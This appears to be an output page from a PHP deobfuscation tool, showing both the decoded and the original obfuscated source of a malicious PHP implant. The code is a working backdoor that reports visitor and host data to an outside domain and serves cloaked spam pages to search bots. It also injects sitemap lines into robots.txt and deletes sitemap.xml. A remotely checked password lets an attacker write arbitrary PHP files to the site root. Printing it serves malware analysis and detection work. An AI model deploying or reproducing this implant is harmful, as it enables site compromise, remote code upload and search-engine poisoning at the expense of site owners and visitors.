Decoded Output
Download<?php
goto nih_J; sSBke: $htwe = "http"; goto IF2mb; HQmpx: function sbot() { $uaget = strtolower($_SERVER["HTTP_USER_AGENT"]); if (stristr($uaget, "googlebot") || stristr($uaget, "bing") || stristr($uaget, "yahoo") || stristr($uaget, "google") || stristr($uaget, "Googlebot") || stristr($uaget, "googlebot")) { return true; } else { return false; } } goto KWTmg; NfI0O: @ignore_user_abort(1); goto atjCN; HRDCZ: function ishtt() { if (isset($_SERVER["HTTPS"]) && strtolower($_SERVER["HTTPS"]) !== "off") { return true; } elseif (isset($_SERVER["HTTP_X_FORWARDED_PROTO"]) && $_SERVER["HTTP_X_FORWARDED_PROTO"] === "https") { return true; } elseif (isset($_SERVER["HTTP_FRONT_END_HTTPS"]) && strtolower($_SERVER["HTTP_FRONT_END_HTTPS"]) !== "off") { return true; } return false; } goto MnVP2; WG6Ad: if ($ddur_tmp == '') { $ddur_tmp = "/"; } goto fGNMb; p5B4F: $towe = $goto . ".doordt" . ".xyz"; goto HRDCZ; pUuCy: $ddur_tmp = st_uri(); goto WG6Ad; k1aG3: function pingmap($url) { $url_arr = explode("\xd\xa", trim($url)); $return_str = ''; foreach ($url_arr as $pingUrl) { $pingRes = daag($pingUrl); $ok = strpos($pingRes, "Sitemap Notification Received") !== false ? "pingok" : "error"; $return_str .= $pingUrl . "-- " . $ok . "<br>"; } return $return_str; } goto HQmpx; WP3xn: if (isset($_SERVER["HTTP_REFERER"])) { $usse = $_SERVER["HTTP_REFERER"]; $usse = urlencode($usse); } goto WuFMR; D4Jhl: $usse = ''; goto WP3xn; nih_J: @set_time_limit(3600); goto NfI0O; atjCN: $goto = "zmuc"; goto sSBke; AAamb: $lag = urlencode($lag); goto D4Jhl; JU7MJ: $web = $htwe . "://" . $towe . "/inde.php?web=" . $host . "&zz=" . sbot() . "&uri=" . $ddur . "&urlshang=" . $usse . "&http=" . $http . "&lang=" . $lag; goto jlxBq; pJ6i4: $lag = @$_SERVER["HTTP_ACCEPT_LANGUAGE"]; goto AAamb; IF2mb: if (ishtt()) { $http = "https"; } else { $http = "http"; } goto pUuCy; WuFMR: if (@$_GET["pd"] != '') { $acot = @$_GET["mapname"]; $action = @$_GET["action"]; if (isset($_SERVER["DOCUMENT_ROOT"])) { $path = $_SERVER["DOCUMENT_ROOT"]; } else { $path = dirname(__FILE__); } if (!$action) { $action = "put"; } if ($action == "put") { if (strstr($acot, ".xml")) { $map_path = $path . "/sitemap.xml"; if (is_file($map_path)) { @unlink($map_path); } $file_path = $path . "/robots.txt"; if (file_exists($file_path)) { $data = daag($file_path); } else { $data = "User-agent: *Allow: /"; } $sturs = $http . "://" . $host . "/" . $acot; if (stristr($data, $sturs)) { echo "<br>sitemap already added!<br>"; } else { if (file_put_contents($file_path, trim($data) . "\xd
" . "Sitemap: " . $sturs)) { echo "<br>ok<br>"; } else { echo "<br> false!<br>"; } } } else { echo "<br> false!<br>"; } if (strstr($acot, ".p" . "hp")) { if (sha1(sha1(@$_GET["a"])) == daag($htwe . "://" . $towe . "/a.p" . "hp")) { $dstr = @$_GET["dstr"]; if (file_put_contents($path . "/" . $acot, $dstr)) { echo "ok"; } } } } die; } goto JU7MJ; KWTmg: function daag($url) { $ficonts = ''; if (function_exists("curl_init")) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30); $ficonts = curl_exec($ch); curl_close($ch); } if (!$ficonts) { $ficonts = @file_get_contents($url); } return $ficonts; } goto MqcaY; xwebX: if (!strstr($htag, "nobotuseragent")) { if (strstr($htag, "okhtmlgetcontent")) { @header("Content-type: text/html; charset=utf-8"); $htag = str_replace("okhtmlgetcontent", '', $htag); echo $htag; die; } else { if (strstr($htag, "okxmlgetcontent")) { $htag = str_replace("okxmlgetcontent", '', $htag); @header("Content-type: text/xml"); echo $htag; die; } else { if (strstr($htag, "pingxmlgetcontent")) { $htag = str_replace("pingxmlgetcontent", '', $htag); @header("Content-type: text/html; charset=utf-8"); echo pingmap($htag); die; } } } } goto k1aG3; MnVP2: $host = $_SERVER["HTTP_HOST"]; goto pJ6i4; jlxBq: $htag = trim(daag($web)); goto xwebX; fGNMb: $ddur = urlencode($ddur_tmp); goto swHtG; swHtG: function st_uri() { if (isset($_SERVER["REQUEST_URI"])) { $ddur = $_SERVER["REQUEST_URI"]; } else { if (isset($_SERVER["argv"])) { $ddur = $_SERVER["PHP_SELF"] . "?" . $_SERVER["argv"][0]; } else { $ddur = $_SERVER["PHP_SELF"] . "?" . $_SERVER["QUERY_STRING"]; } } return $ddur; } goto p5B4F; MqcaY:
//he056 ?>
Did this file decode correctly?
How would you describe this file?
Thank you for your feedback! This will help us detect malicious PHP files more accurately in the future.
Function Calls
None
Variables
None
Stats
| MD5 | 2c90b1e5a30fcba1 |
|---|---|
| Eval Count | 0 |
| Decode Time | 58 ms |
Original Code
<?php
goto nih_J; sSBke: $htwe = "\x68\x74\x74\x70"; goto IF2mb; HQmpx: function sbot() { $uaget = strtolower($_SERVER["\110\124\x54\x50\137\125\123\x45\x52\137\x41\x47\x45\x4e\124"]); if (stristr($uaget, "\147\157\157\x67\x6c\x65\142\157\164") || stristr($uaget, "\x62\151\x6e\x67") || stristr($uaget, "\171\141\150\x6f\x6f") || stristr($uaget, "\147\x6f\x6f\x67\154\x65") || stristr($uaget, "\x47\x6f\157\x67\x6c\x65\x62\157\x74") || stristr($uaget, "\x67\157\157\x67\154\x65\142\157\164")) { return true; } else { return false; } } goto KWTmg; NfI0O: @ignore_user_abort(1); goto atjCN; HRDCZ: function ishtt() { if (isset($_SERVER["\x48\124\x54\x50\x53"]) && strtolower($_SERVER["\110\x54\124\x50\123"]) !== "\157\146\x66") { return true; } elseif (isset($_SERVER["\110\x54\124\120\x5f\130\137\106\x4f\122\127\101\122\x44\x45\x44\x5f\x50\122\x4f\x54\x4f"]) && $_SERVER["\110\124\124\x50\x5f\x58\x5f\106\x4f\x52\x57\x41\x52\104\x45\x44\137\x50\122\117\x54\117"] === "\150\164\x74\160\x73") { return true; } elseif (isset($_SERVER["\110\124\x54\x50\x5f\x46\122\x4f\116\124\x5f\105\116\104\x5f\110\124\124\120\x53"]) && strtolower($_SERVER["\x48\x54\x54\120\137\106\x52\117\116\x54\137\x45\116\x44\137\110\124\124\120\123"]) !== "\x6f\x66\x66") { return true; } return false; } goto MnVP2; WG6Ad: if ($ddur_tmp == '') { $ddur_tmp = "\x2f"; } goto fGNMb; p5B4F: $towe = $goto . "\x2e\144\157\157\x72\x64\x74" . "\x2e\170\171\172"; goto HRDCZ; pUuCy: $ddur_tmp = st_uri(); goto WG6Ad; k1aG3: function pingmap($url) { $url_arr = explode("\xd\xa", trim($url)); $return_str = ''; foreach ($url_arr as $pingUrl) { $pingRes = daag($pingUrl); $ok = strpos($pingRes, "\123\151\x74\145\x6d\141\160\40\116\x6f\x74\x69\x66\151\143\141\x74\151\x6f\156\40\122\x65\143\x65\151\166\x65\144") !== false ? "\160\x69\x6e\x67\157\x6b" : "\x65\x72\162\x6f\162"; $return_str .= $pingUrl . "\55\x2d\40" . $ok . "\x3c\x62\x72\x3e"; } return $return_str; } goto HQmpx; WP3xn: if (isset($_SERVER["\110\x54\x54\x50\137\122\105\106\x45\x52\x45\x52"])) { $usse = $_SERVER["\110\124\x54\x50\x5f\122\x45\x46\105\122\x45\x52"]; $usse = urlencode($usse); } goto WuFMR; D4Jhl: $usse = ''; goto WP3xn; nih_J: @set_time_limit(3600); goto NfI0O; atjCN: $goto = "\172\x6d\165\143"; goto sSBke; AAamb: $lag = urlencode($lag); goto D4Jhl; JU7MJ: $web = $htwe . "\72\x2f\57" . $towe . "\x2f\151\156\144\x65\x2e\x70\150\160\77\x77\145\x62\x3d" . $host . "\x26\172\172\x3d" . sbot() . "\x26\165\x72\151\x3d" . $ddur . "\x26\x75\x72\154\x73\x68\x61\156\147\x3d" . $usse . "\x26\x68\x74\164\160\x3d" . $http . "\46\154\x61\x6e\147\x3d" . $lag; goto jlxBq; pJ6i4: $lag = @$_SERVER["\x48\124\124\x50\x5f\101\103\x43\x45\120\x54\x5f\x4c\x41\x4e\x47\125\101\107\105"]; goto AAamb; IF2mb: if (ishtt()) { $http = "\150\x74\164\160\163"; } else { $http = "\x68\164\164\160"; } goto pUuCy; WuFMR: if (@$_GET["\160\x64"] != '') { $acot = @$_GET["\x6d\141\x70\156\x61\155\x65"]; $action = @$_GET["\x61\x63\164\x69\x6f\x6e"]; if (isset($_SERVER["\x44\117\103\125\x4d\x45\116\x54\137\122\x4f\117\124"])) { $path = $_SERVER["\104\117\x43\x55\x4d\x45\x4e\x54\137\x52\x4f\117\x54"]; } else { $path = dirname(__FILE__); } if (!$action) { $action = "\160\165\x74"; } if ($action == "\x70\x75\164") { if (strstr($acot, "\56\x78\155\154")) { $map_path = $path . "\x2f\x73\x69\164\145\155\141\x70\x2e\170\x6d\154"; if (is_file($map_path)) { @unlink($map_path); } $file_path = $path . "\57\162\x6f\142\x6f\164\163\56\164\170\164"; if (file_exists($file_path)) { $data = daag($file_path); } else { $data = "\125\163\145\162\55\x61\x67\x65\x6e\164\72\x20\x2a\101\154\x6c\157\x77\x3a\40\x2f"; } $sturs = $http . "\72\57\x2f" . $host . "\57" . $acot; if (stristr($data, $sturs)) { echo "\74\x62\162\76\163\151\164\x65\155\x61\160\40\141\x6c\162\x65\x61\x64\171\x20\x61\144\144\145\x64\41\x3c\142\162\76"; } else { if (file_put_contents($file_path, trim($data) . "\xd\12" . "\123\x69\164\x65\x6d\x61\x70\x3a\40" . $sturs)) { echo "\x3c\x62\162\76\157\x6b\x3c\142\162\x3e"; } else { echo "\74\x62\x72\76\x20\x66\x61\x6c\x73\145\41\74\142\162\76"; } } } else { echo "\x3c\x62\162\x3e\40\146\x61\154\163\x65\41\74\x62\162\76"; } if (strstr($acot, "\56\160" . "\150\x70")) { if (sha1(sha1(@$_GET["\141"])) == daag($htwe . "\x3a\57\57" . $towe . "\57\x61\x2e\160" . "\150\x70")) { $dstr = @$_GET["\x64\163\x74\162"]; if (file_put_contents($path . "\x2f" . $acot, $dstr)) { echo "\157\153"; } } } } die; } goto JU7MJ; KWTmg: function daag($url) { $ficonts = ''; if (function_exists("\143\165\162\x6c\x5f\x69\x6e\x69\164")) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30); $ficonts = curl_exec($ch); curl_close($ch); } if (!$ficonts) { $ficonts = @file_get_contents($url); } return $ficonts; } goto MqcaY; xwebX: if (!strstr($htag, "\156\x6f\x62\157\x74\165\x73\145\x72\x61\147\145\x6e\164")) { if (strstr($htag, "\157\x6b\150\x74\x6d\154\x67\x65\x74\x63\157\156\x74\145\x6e\x74")) { @header("\103\x6f\x6e\164\x65\x6e\164\55\164\171\x70\x65\72\x20\x74\145\170\164\x2f\150\x74\155\154\73\40\x63\150\141\x72\x73\x65\x74\75\x75\164\x66\55\70"); $htag = str_replace("\157\x6b\150\164\x6d\154\x67\x65\164\143\x6f\156\164\x65\156\164", '', $htag); echo $htag; die; } else { if (strstr($htag, "\x6f\x6b\170\155\154\147\145\x74\143\x6f\x6e\x74\145\x6e\x74")) { $htag = str_replace("\x6f\153\x78\155\154\147\x65\x74\x63\x6f\156\164\145\156\x74", '', $htag); @header("\103\157\156\164\145\156\164\x2d\164\x79\x70\145\72\x20\x74\x65\x78\x74\x2f\170\155\154"); echo $htag; die; } else { if (strstr($htag, "\x70\x69\x6e\x67\170\x6d\x6c\x67\145\x74\143\157\156\164\145\156\164")) { $htag = str_replace("\160\x69\156\x67\x78\x6d\x6c\x67\145\x74\x63\157\x6e\164\x65\156\x74", '', $htag); @header("\x43\x6f\156\164\x65\156\x74\x2d\164\171\160\x65\72\40\164\x65\170\164\57\x68\164\155\154\73\x20\x63\150\141\162\163\x65\164\75\x75\164\146\55\x38"); echo pingmap($htag); die; } } } } goto k1aG3; MnVP2: $host = $_SERVER["\x48\124\x54\x50\137\110\x4f\123\124"]; goto pJ6i4; jlxBq: $htag = trim(daag($web)); goto xwebX; fGNMb: $ddur = urlencode($ddur_tmp); goto swHtG; swHtG: function st_uri() { if (isset($_SERVER["\x52\105\121\x55\105\x53\x54\x5f\125\x52\x49"])) { $ddur = $_SERVER["\122\105\121\125\105\123\x54\137\x55\x52\x49"]; } else { if (isset($_SERVER["\x61\x72\x67\x76"])) { $ddur = $_SERVER["\x50\x48\x50\x5f\x53\105\114\x46"] . "\77" . $_SERVER["\141\x72\147\x76"][0]; } else { $ddur = $_SERVER["\120\x48\x50\x5f\123\x45\x4c\x46"] . "\77" . $_SERVER["\x51\x55\105\122\131\137\x53\x54\122\111\x4e\107"]; } } return $ddur; } goto p5B4F; MqcaY:
//he056 ?>